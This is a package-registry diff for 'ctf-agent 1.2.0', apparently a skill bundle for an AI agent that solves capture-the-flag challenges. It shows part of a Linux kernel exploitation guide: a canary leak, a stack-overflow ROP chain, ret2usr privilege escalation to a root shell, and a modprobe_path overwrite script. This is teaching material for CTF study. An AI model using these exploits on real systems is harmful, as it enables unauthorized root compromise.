ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,636 @@
1
+ # CTF Pwn - Linux Kernel Exploitation
2
+
3
+ ## Table of Contents
4
+ - [Environment Setup and Recon](#environment-setup-and-recon)
5
+ - [QEMU Debug Environment](#qemu-debug-environment)
6
+ - [Extracting vmlinux](#extracting-vmlinux)
7
+ - [Kernel Config Checks](#kernel-config-checks)
8
+ - [FGKASLR Detection](#fgkaslr-detection)
9
+ - [Useful Kernel Structures for Heap Spray](#useful-kernel-structures-for-heap-spray)
10
+ - [tty_struct (kmalloc-1024)](#tty_struct-kmalloc-1024)
11
+ - [tty_file_private (kmalloc-32)](#tty_file_private-kmalloc-32)
12
+ - [poll_list (kmalloc-32 to 1024)](#poll_list-kmalloc-32-to-1024)
13
+ - [user_key_payload (kmalloc-32 to 1024)](#user_key_payload-kmalloc-32-to-1024)
14
+ - [setxattr Temporary Buffer (kmalloc-32 to 1024)](#setxattr-temporary-buffer-kmalloc-32-to-1024)
15
+ - [seq_operations (kmalloc-32)](#seq_operations-kmalloc-32)
16
+ - [subprocess_info (kmalloc-128)](#subprocess_info-kmalloc-128)
17
+ - [Kernel Stack Overflow and Canary Leak](#kernel-stack-overflow-and-canary-leak)
18
+ - [Privilege Escalation Primitives](#privilege-escalation-primitives)
19
+ - [ret2usr (No SMEP/SMAP)](#ret2usr-no-smepsmap)
20
+ - [Kernel ROP with prepare_kernel_cred / commit_creds](#kernel-rop-with-prepare_kernel_cred--commit_creds)
21
+ - [Saving and Restoring Userland State](#saving-and-restoring-userland-state)
22
+ - [modprobe_path Overwrite](#modprobe_path-overwrite)
23
+ - [Technique Overview](#technique-overview)
24
+ - [Bruteforce Without Leak](#bruteforce-without-leak)
25
+ - [Checking CONFIG_STATIC_USERMODEHELPER](#checking-config_static_usermodehelper)
26
+ - [core_pattern Overwrite](#core_pattern-overwrite)
27
+ - [Kernel Heap Overflow via kmalloc Size Mismatch (PlaidCTF 2013)](#kernel-heap-overflow-via-kmalloc-size-mismatch-plaidctf-2013)
28
+ - [eBPF Verifier Bypass Exploitation (UIUCTF 2021, D^3CTF 2022)](#ebpf-verifier-bypass-exploitation-uiuctf-2021-d3ctf-2022)
29
+ - [User-Kernel-Hypervisor Chain via I/O Port Hypercalls (HITCON 2018)](#user-kernel-hypervisor-chain-via-io-port-hypercalls-hitcon-2018)
30
+ - [ACPI DSDT Shellcode Injection for Privilege Escalation (hxp 2018)](#acpi-dsdt-shellcode-injection-for-privilege-escalation-hxp-2018)
31
+ - [ARM fcntl64 set_fs() CVE-2015-8966 Pipe Exfil (Insomnihack 2019)](#arm-fcntl64-set_fs-cve-2015-8966-pipe-exfil-insomnihack-2019)
32
+ For tty_struct kROP (kernel Return-Oriented Programming), userfaultfd race stabilization, SLUB internals, cross-cache attacks, and DiceCTF 2026 kernel patterns, see [kernel-techniques.md](kernel-techniques.md).
33
+
34
+ For protection bypass techniques (KASLR, FGKASLR, KPTI, SMEP, SMAP), GDB debugging, initramfs workflow, and exploit templates, see [kernel-bypass.md](kernel-bypass.md).
35
+
36
+ ---
37
+
38
+ ## Environment Setup and Recon
39
+
40
+ **Key insight:** Before writing any exploit, check the QEMU launch script for enabled mitigations (`smep`, `smap`, `kpti`, `kaslr`) and the `oops=panic` flag. These determine which exploitation techniques are viable. Disable all mitigations for initial debugging, then re-enable them one by one.
41
+
42
+ ### QEMU Debug Environment
43
+
44
+ Standard QEMU launch script for kernel challenge debugging:
45
+
46
+ ```bash
47
+ qemu-system-x86_64 \
48
+ -kernel ./bzImage \
49
+ -initrd ./rootfs.cpio \
50
+ -nographic \
51
+ -monitor none \
52
+ -cpu qemu64 \
53
+ -append "console=ttyS0 nokaslr panic=1" \
54
+ -no-reboot \
55
+ -s \
56
+ -m 256M
57
+ ```
58
+
59
+ - `-s` enables GDB on port 1234 (`target remote :1234`)
60
+ - `-append "nokaslr"` disables KASLR for debugging
61
+ - Check QEMU script for: `smep`, `smap`, `kaslr`, `oops=panic`, `kpti=1`
62
+ - If `oops=panic` is absent, kernel oops only kills the faulting process (exploitable for info leaks via dmesg)
63
+
64
+ **Disable mitigations for initial debugging** by modifying the launch script:
65
+ ```bash
66
+ -append "console=ttyS0 nokaslr nopti nosmep nosmap quiet panic=1"
67
+ -cpu kvm64 # instead of kvm64,+smep,+smap
68
+ ```
69
+
70
+ ### Extracting vmlinux
71
+
72
+ **Extract vmlinux from bzImage:**
73
+ ```bash
74
+ # Use extract-vmlinux.sh from Linux kernel source (scripts/extract-vmlinux)
75
+ ./extract-vmlinux ./bzImage > vmlinux
76
+
77
+ # Extract ROP gadgets
78
+ ROPgadget --binary ./vmlinux > gadgets.txt
79
+ ```
80
+
81
+ ### Kernel Config Checks
82
+
83
+ | Config | Effect | How to Check |
84
+ |--------|--------|-------------|
85
+ | SMEP/SMAP/KASLR/KPTI | CPU-level mitigations | Check QEMU run script `-cpu` and `-append` flags |
86
+ | FGKASLR | Per-function randomization | `readelf -S vmlinux` section count (see below) |
87
+ | `SLAB_FREELIST_RANDOM` | Randomized freelist order | Sequential allocations not adjacent |
88
+ | `SLAB_FREELIST_HARDEN` | XOR-obfuscated free pointers | Check freelist pointers in GDB |
89
+ | `STATIC_USERMODEHELPER` | Blocks `modprobe_path` overwrite | Disassemble `call_usermodehelper_setup` |
90
+ | `KALLSYMS_ALL` | `.data` symbols in `/proc/kallsyms` | `grep modprobe_path /proc/kallsyms` |
91
+ | `CONFIG_USERFAULTFD` | Enables userfaultfd syscall | Try calling it; disabled = -ENOSYS |
92
+ | eBPF (extended Berkeley Packet Filter) JIT | JIT-compiled BPF filters | `cat /proc/sys/net/core/bpf_jit_enable` (0=off, 1=on, 2=debug) |
93
+
94
+ Check oops behavior:
95
+ - `oops=panic` in QEMU `-append` -> oops causes full kernel panic
96
+ - Without it -> oops kills the faulting process only; dmesg may leak stack/heap/kbase pointers
97
+
98
+ ### FGKASLR Detection
99
+
100
+ Fine-Grained KASLR randomizes each function independently. Detect by counting ELF sections:
101
+
102
+ ```bash
103
+ readelf -S vmlinux | tail -5
104
+ # FGKASLR disabled: ~30 sections
105
+ # FGKASLR enabled: 36000+ sections (one per function)
106
+
107
+ file vmlinux
108
+ # FGKASLR enabled: "too many section (36140)"
109
+ ```
110
+
111
+ ---
112
+
113
+ ## Useful Kernel Structures for Heap Spray
114
+
115
+ These structures are allocated from standard `kmalloc` caches and controlled from userspace. Use them to fill freed slots for UAF exploitation or to leak kernel pointers.
116
+
117
+ **Key insight:** Match the vulnerable object's `kmalloc` cache size to choose the right spray structure. For kmalloc-32, use `seq_operations` or `tty_file_private`; for kmalloc-1024, use `tty_struct`; for variable sizes (32-1024), use `poll_list`, `user_key_payload`, or `setxattr`.
118
+
119
+ | Structure | Cache | Alloc Trigger | Free Trigger | Use |
120
+ |-----------|-------|---------------|--------------|-----|
121
+ | `tty_struct` | kmalloc-1024 | `open("/dev/ptmx")` | `close(fd)` | kbase leak, RIP hijack |
122
+ | `tty_file_private` | kmalloc-32 | `open("/dev/ptmx")` | `close(fd)` | kheap leak (points to `tty_struct`) |
123
+ | `poll_list` | kmalloc-32~1024 | `poll(fds, nfds, timeout)` | `poll()` returns | kheap leak, arbitrary free |
124
+ | `user_key_payload` | kmalloc-32~1024 | `add_key()` | `keyctl_revoke()`+GC | arbitrary value write |
125
+ | `setxattr` buffer | kmalloc-32~1024 | `setxattr()` | same call path | momentary arbitrary value write |
126
+ | `seq_operations` | kmalloc-32 | `open("/proc/self/stat")` | `close(fd)` | kbase leak, RIP hijack |
127
+ | `subprocess_info` | kmalloc-128 | internal kernel | internal kernel | kbase leak, RIP hijack |
128
+
129
+ ### tty_struct (kmalloc-1024)
130
+
131
+ Allocated when `open("/dev/ptmx")`, freed on `close()`. Size: 0x2B8 bytes.
132
+
133
+ ```c
134
+ struct tty_struct {
135
+ int magic; // +0x00: must be 0x5401 (paranoia check)
136
+ struct kref kref; // +0x04: reference count
137
+ struct device *dev; // +0x08
138
+ struct tty_driver *driver; // +0x10: must be valid kheap pointer
139
+ const struct tty_operations *ops; // +0x18: vtable pointer -> kbase leak
140
+ // ...
141
+ };
142
+ ```
143
+
144
+ - **kbase leak:** Read `tty_struct.ops` -- points to `ptm_unix98_ops` (or similar) in kernel `.data`
145
+ - **RIP hijack:** Overwrite `tty_struct.ops` with pointer to fake vtable, then `ioctl()` calls `tty->ops->ioctl()`
146
+ - **magic** must remain `0x5401` or `tty_ioctl()` returns immediately (paranoia check)
147
+ - **driver** must be a valid kernel heap pointer or the kernel will oops
148
+
149
+ ### tty_file_private (kmalloc-32)
150
+
151
+ Allocated alongside `tty_struct` in `tty_alloc_file()`. Size: 0x20 bytes.
152
+
153
+ ```c
154
+ struct tty_file_private {
155
+ struct tty_struct *tty; // +0x00: pointer to tty_struct in kmalloc-1024
156
+ struct file *file; // +0x08
157
+ struct list_head list; // +0x10
158
+ };
159
+ ```
160
+
161
+ - **kheap leak:** Read `tty_file_private.tty` to get address in `kmalloc-1024`
162
+
163
+ ### poll_list (kmalloc-32 to 1024)
164
+
165
+ Allocated during `poll()`, freed when `poll()` completes (timer expiry or event trigger). Cache size depends on number of fds polled.
166
+
167
+ ```c
168
+ struct poll_list {
169
+ struct poll_list *next; // +0x00: linked list pointer
170
+ int len; // +0x08: number of entries
171
+ struct pollfd entries[]; // +0x0C: variable-length array
172
+ };
173
+ ```
174
+
175
+ - **Arbitrary free:** Overwrite `poll_list.next` -> when `poll()` finishes, it frees all entries in the linked list including the corrupted pointer -> UAF on arbitrary address
176
+
177
+ ### user_key_payload (kmalloc-32 to 1024)
178
+
179
+ Allocated via `add_key()` syscall. Cache size depends on `data` length.
180
+
181
+ ```c
182
+ struct user_key_payload {
183
+ struct callback_head rcu; // +0x00: 16 bytes, untouched until init
184
+ unsigned short datalen; // +0x10
185
+ char data[]; // +0x18: user-controlled content
186
+ };
187
+ ```
188
+
189
+ - First 16 bytes are uninitialized until GC callback -- combine with UAF to leak residual heap data
190
+ - Free requires `keyctl_revoke()` then wait for GC
191
+ - Blocked by default Docker seccomp profile
192
+
193
+ ### setxattr Temporary Buffer (kmalloc-32 to 1024)
194
+
195
+ `setxattr("file", "user.x", data, size, XATTR_CREATE)` allocates a buffer, copies user data, then frees it in the same call path.
196
+
197
+ - **Momentary write:** Combine with uninitialized structs to write arbitrary values into freed chunks
198
+ - Cannot be used for persistent spray (freed immediately)
199
+ - The file passed to `setxattr()` must exist -- common pitfall when exploit runs from different directory than expected
200
+
201
+ ### seq_operations (kmalloc-32)
202
+
203
+ Allocated when opening `/proc/self/stat` (or similar seq_file). Contains function pointers for kbase leak.
204
+
205
+ ### subprocess_info (kmalloc-128)
206
+
207
+ Internal kernel struct with function pointers. Useful for kbase leak and RIP hijack in specific scenarios.
208
+
209
+ ---
210
+
211
+ ## Kernel Stack Overflow and Canary Leak
212
+
213
+ Kernel modules with vulnerable read/write handlers often allow stack buffer overflow. The exploitation pattern mirrors userland stack overflows but with kernel-specific register state management.
214
+
215
+ **Canary leak via oversized read (hxp CTF 2020):**
216
+
217
+ A vulnerable `hackme_read()` copies from a 32-element stack array `tmp[32]` but allows reading up to 0x1000 bytes -- leaking the stack canary and kernel text pointers beyond the buffer.
218
+
219
+ ```c
220
+ unsigned long leak[40];
221
+ int fd = open("/dev/hackme", O_RDWR);
222
+
223
+ // Read beyond stack buffer to leak canary + kernel pointers
224
+ read(fd, leak, sizeof(leak));
225
+
226
+ // Stack layout: tmp[32] at rbp-0x98, canary at rbp-0x18
227
+ // Canary at index 16 (offset 0x80 from buffer start)
228
+ unsigned long cookie = leak[16];
229
+
230
+ // Kernel text pointer at index 38 -> compute KASLR base
231
+ unsigned long kernel_base = (leak[38] & 0xffffffffffff0000);
232
+ long kaslr_offset = kernel_base - 0xffffffff81000000;
233
+ ```
234
+
235
+ **Stack overflow payload structure:**
236
+
237
+ ```c
238
+ unsigned long payload[50];
239
+ int off = 16; // offset to canary position
240
+ payload[off++] = cookie; // canary
241
+ payload[off++] = 0x0; // padding (rbx)
242
+ payload[off++] = 0x0; // padding (r12)
243
+ payload[off++] = 0x0; // saved rbp
244
+ payload[off++] = rop_start; // return address -> ROP chain
245
+ // ... ROP chain follows ...
246
+ write(fd, payload, sizeof(payload));
247
+ ```
248
+
249
+ **ioctl-based size check bypass (K3RN3LCTF 2021):**
250
+
251
+ Some modules gate write length against a global `MaxBuffer` variable that is itself controllable via `ioctl()`:
252
+
253
+ ```c
254
+ // Vulnerable pattern in module:
255
+ // swrite() checks: if (MaxBuffer < user_size) return -EFAULT;
256
+ // sioctl() with cmd 0x20: MaxBuffer = (int)arg; <- attacker-controlled
257
+
258
+ // Exploit: increase MaxBuffer before overflow
259
+ int fd = open("/proc/pwn_device", O_RDWR);
260
+ ioctl(fd, 0x20, 300); // set MaxBuffer to 300 (buffer is only 128)
261
+ write(fd, overflow_payload, 300); // now passes size check -> stack overflow
262
+ ```
263
+
264
+ **Key insight:** Kernel stack canaries work identically to userland canaries. A vulnerable read handler that copies more bytes than the buffer size leaks the canary and saved registers, including kernel text pointers for KASLR bypass. Look for `ioctl` handlers that modify global variables used in bounds checks -- they often bypass write size restrictions.
265
+
266
+ ---
267
+
268
+ ## Privilege Escalation Primitives
269
+
270
+ ### ret2usr (No SMEP/SMAP)
271
+
272
+ When SMEP and SMAP are disabled, the kernel can directly execute userland code and access userland memory. Hijack RIP to a userland function that calls `prepare_kernel_cred(0)` and `commit_creds()`.
273
+
274
+ ```c
275
+ // Addresses from /proc/kallsyms (or leak)
276
+ unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
277
+ unsigned long commit_creds = 0xffffffff814c6410;
278
+
279
+ // Saved userland state for iretq return
280
+ unsigned long user_cs, user_ss, user_sp, user_rflags, user_rip;
281
+
282
+ void privesc() {
283
+ __asm__(".intel_syntax noprefix;"
284
+ "movabs rax, %[prepare_kernel_cred];"
285
+ "xor rdi, rdi;" // prepare_kernel_cred(NULL) -> init cred
286
+ "call rax;"
287
+ "mov rdi, rax;" // commit_creds(new_cred)
288
+ "movabs rax, %[commit_creds];"
289
+ "call rax;"
290
+ "swapgs;" // restore GS base for userland
291
+ "mov r15, %[user_ss]; push r15;"
292
+ "mov r15, %[user_sp]; push r15;"
293
+ "mov r15, %[user_rflags]; push r15;"
294
+ "mov r15, %[user_cs]; push r15;"
295
+ "mov r15, %[user_rip]; push r15;"
296
+ "iretq;" // return to userland as root
297
+ ".att_syntax;"
298
+ : : [prepare_kernel_cred] "r"(prepare_kernel_cred),
299
+ [commit_creds] "r"(commit_creds),
300
+ [user_ss] "r"(user_ss), [user_sp] "r"(user_sp),
301
+ [user_rflags] "r"(user_rflags),
302
+ [user_cs] "r"(user_cs), [user_rip] "r"(user_rip));
303
+ }
304
+ ```
305
+
306
+ After `privesc()` returns to userland, the process has root credentials. Call `system("/bin/sh")` to get a root shell.
307
+
308
+ ### Kernel ROP with prepare_kernel_cred / commit_creds
309
+
310
+ When SMEP is enabled, build a kernel ROP chain to call `prepare_kernel_cred(0)` -> pass result to `commit_creds()` -> return to userland.
311
+
312
+ ```c
313
+ // Find gadgets: ropr --no-uniq -R "^pop rdi; ret;|^mov rdi, rax" ./vmlinux
314
+ unsigned long pop_rdi_ret = 0xffffffff81006370;
315
+ unsigned long mov_rdi_rax_pop1_ret = 0xffffffff816bf740; // mov rdi, rax; ...; pop rbx; ret
316
+ unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs; pop rbp; ret
317
+ unsigned long iretq = 0xffffffff8100c0d9;
318
+
319
+ unsigned long payload[50];
320
+ int off = 16; // canary offset
321
+ payload[off++] = cookie;
322
+ payload[off++] = 0; // rbx
323
+ payload[off++] = 0; // r12
324
+ payload[off++] = 0; // rbp
325
+
326
+ // ROP chain: prepare_kernel_cred(0) -> commit_creds(result)
327
+ payload[off++] = pop_rdi_ret;
328
+ payload[off++] = 0x0; // rdi = NULL
329
+ payload[off++] = prepare_kernel_cred;
330
+ payload[off++] = mov_rdi_rax_pop1_ret; // rdi = rax (new cred)
331
+ payload[off++] = 0x0; // pop rbx padding
332
+ payload[off++] = commit_creds;
333
+
334
+ // Return to userland
335
+ payload[off++] = swapgs_pop1_ret;
336
+ payload[off++] = 0x0; // pop rbp padding
337
+ payload[off++] = iretq;
338
+ payload[off++] = user_rip; // spawn_shell
339
+ payload[off++] = user_cs; // 0x33
340
+ payload[off++] = user_rflags;
341
+ payload[off++] = user_sp;
342
+ payload[off++] = user_ss; // 0x2b
343
+ ```
344
+
345
+ **Critical gadget: `mov rdi, rax`** -- needed to pass the return value of `prepare_kernel_cred()` (in RAX) to `commit_creds()` (expects argument in RDI). Search for variants like `mov rdi, rax; ... ; ret` that may clobber other registers.
346
+
347
+ **Tool:** `ropr` is faster than ROPgadget for large kernel images:
348
+ ```bash
349
+ ropr --no-uniq -R "^pop rdi; ret;|^mov rdi, rax|^swapgs|^iretq" ./vmlinux
350
+ ```
351
+
352
+ ### Saving and Restoring Userland State
353
+
354
+ Before triggering the kernel exploit, save userland register state for the `iretq` return:
355
+
356
+ ```c
357
+ unsigned long user_cs, user_ss, user_sp, user_rflags, user_rip;
358
+
359
+ void save_userland_state() {
360
+ __asm__(".intel_syntax noprefix;"
361
+ "mov %[cs], cs;"
362
+ "mov %[ss], ss;"
363
+ "mov %[sp], rsp;"
364
+ "pushf; pop %[rflags];"
365
+ ".att_syntax;"
366
+ : [cs] "=r"(user_cs), [ss] "=r"(user_ss),
367
+ [sp] "=r"(user_sp), [rflags] "=r"(user_rflags));
368
+ user_rip = (unsigned long)spawn_shell; // function to call after return
369
+ }
370
+
371
+ void spawn_shell() {
372
+ if (getuid() == 0) {
373
+ printf("[+] root!\n");
374
+ system("/bin/sh");
375
+ } else {
376
+ printf("[-] privesc failed\n");
377
+ exit(1);
378
+ }
379
+ }
380
+ ```
381
+
382
+ **Register values (x86_64 userland):**
383
+ - `CS` = 0x33 (64-bit user code segment)
384
+ - `SS` = 0x2b (64-bit user stack segment)
385
+ - `RSP` = current userland stack pointer
386
+ - `RFLAGS` = current flags register
387
+ - `RIP` = address of post-exploit function (e.g., `spawn_shell`)
388
+
389
+ ---
390
+
391
+ ## modprobe_path Overwrite
392
+
393
+ ### Technique Overview
394
+
395
+ Overwrite the global `modprobe_path` variable (default: `"/sbin/modprobe"`) with a path to an attacker-controlled script. When the kernel encounters a binary with an unknown format, it executes `modprobe_path` as root.
396
+
397
+ **Requirements:**
398
+ 1. Arbitrary Address Write (AAW) to overwrite `modprobe_path`
399
+ 2. Ability to create two files: a malformed binary and an evil script
400
+ 3. `CONFIG_STATIC_USERMODEHELPER` is disabled
401
+
402
+ **Steps:**
403
+
404
+ ```bash
405
+ # 1. Write evil script
406
+ echo '#!/bin/sh' > /tmp/evil.sh
407
+ echo 'cat /flag > /tmp/output' >> /tmp/evil.sh
408
+ echo 'chmod 777 /tmp/output' >> /tmp/evil.sh
409
+ chmod +x /tmp/evil.sh
410
+
411
+ # 2. Overwrite modprobe_path with "/tmp/evil.sh" using your AAW primitive
412
+
413
+ # 3. Create and execute a malformed binary (non-printable first 4 bytes)
414
+ echo -ne '\xff\xff\xff\xff' > /tmp/trigger
415
+ chmod +x /tmp/trigger
416
+ /tmp/trigger
417
+
418
+ # 4. Read the flag
419
+ cat /tmp/output
420
+ ```
421
+
422
+ **How it works:** `execve()` -> `search_binary_handler()` -> no format matches -> `request_module("binfmt-XXXX")` -> `call_modprobe()` -> executes `modprobe_path` as root.
423
+
424
+ **Key insight:** The first 4 bytes of the trigger binary must be non-printable (not ASCII without tab/newline). If they are printable, the kernel skips the `request_module()` call.
425
+
426
+ ### Bruteforce Without Leak
427
+
428
+ `modprobe_path` has only 1 byte of entropy under KASLR (the randomized page offset). With AAW, brute-force the address:
429
+
430
+ ```python
431
+ # modprobe_path base address (from debugging without KASLR)
432
+ MODPROBE_BASE = 0xffffffff8265ff00
433
+ # Under KASLR, only the 0x65 byte varies
434
+ # Try 256 offsets
435
+ for byte_guess in range(256):
436
+ addr = (MODPROBE_BASE & ~0xFF0000) | (byte_guess << 16)
437
+ write_string(addr, "/tmp/evil.sh")
438
+ trigger_modprobe()
439
+ ```
440
+
441
+ ### Checking CONFIG_STATIC_USERMODEHELPER
442
+
443
+ If enabled, `call_usermodehelper_setup()` ignores `modprobe_path` and uses a hardcoded constant.
444
+
445
+ **Detection via disassembly:**
446
+
447
+ ```bash
448
+ # 1. Get function address
449
+ cat /proc/kallsyms | grep call_usermodehelper_setup
450
+
451
+ # 2. Set GDB breakpoint and trigger
452
+ echo -ne '\xff\xff\xff\xff' > /tmp/nirugiri && chmod +x /tmp/nirugiri && /tmp/nirugiri
453
+
454
+ # 3. In GDB, disassemble and check:
455
+ # NOT set: rdi saved into r14 at +9, used at +127 -> modprobe_path passed through
456
+ # SET: immediate constant at +122 instead of r14 -> 1st arg (modprobe_path) ignored
457
+ ```
458
+
459
+ **When set:** `sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH` (constant). Overwriting `modprobe_path` has no effect. Look for alternative LPE techniques.
460
+
461
+ ---
462
+
463
+ ## core_pattern Overwrite
464
+
465
